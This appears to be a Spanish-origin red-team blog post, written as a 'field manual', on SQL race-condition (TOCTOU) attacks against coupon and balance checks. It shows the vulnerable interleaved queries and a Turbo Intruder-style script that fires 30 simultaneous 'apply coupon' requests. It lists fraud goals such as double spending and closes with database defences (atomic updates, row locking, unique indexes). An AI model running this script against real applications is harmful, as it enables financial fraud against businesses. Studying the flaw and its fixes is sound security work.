Ir al contenido

📕 FIELD MANUAL 18.1: SQL RACE CONDITIONS (LIMIT OVERRUN)

Objective: We will exploit the time window between "Verify" (SELECT) and "Update" (UPDATE) to perform multiple prohibited actions (by...

0views

Classification: RED TEAM EYES ONLY

Objective: We will exploit the time window between “Verify” (SELECT) and “Update” (UPDATE) to perform prohibited actions multiple times (for example, spending the same money twice).

MITRE ATT&CK: T1190 (Exploit Public-Facing Application).

Time of Check to Time of Use (TOCTOU): Vulnerable Code (Coupon Logic):

-- Hilo 1 (Petición A)
1. SELECT used_count FROM coupons WHERE code = 'DESCUENTO50';
-- (Devuelve 0. Es válido).
-- Hilo 2 (Petición B - Milisegundos después)
1. SELECT used_count FROM coupons WHERE code = 'DESCUENTO50';
-- (¡Todavía devuelve 0! El Hilo 1 aún no ha actualizado).
-- Hilo 1
2. UPDATE coupons SET used_count = used_count + 1 ...;
-- Hilo 2
2. UPDATE coupons SET used_count = used_count + 1 ...;

Result: Both threads will apply the discount, even though it should only have been used once.

For this, a human is too slow. We need to send requests in true parallel (not sequential).

It is an extension that allows controlling the TCP stack to send the last byte of the request simultaneously.

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
# Encolamos 30 peticiones idénticas de "Aplicar Cupón"
for i in range(30):
engine.queue(target.req, gate='race1')
# Abrimos la compuerta: Las 30 salen en el MISMO instante
engine.openGate('race1')
def handleResponse(req, interesting):
if "Cupón aplicado con éxito" in req.response:
table.add(req)

Tactical Impact:

  • Financial: We will withdraw money beyond the balance (Double Spending).
  • Inventory: We will purchase out-of-stock items.
  • Logical: We will redeem a single-use code multiple times.
  • Defense (Database Level):
    1. Atomic Updates: UPDATE user SET balance = balance - 10 WHERE user = 'me' AND balance >= 10; (This will verify and update in a single atomic operation).
    2. Transactions & Locking: We will use SELECT ... FOR UPDATE to lock the row until the transaction ends.
    3. Constraints: UNIQUE INDEX in coupon usage tables (user_id, coupon_id).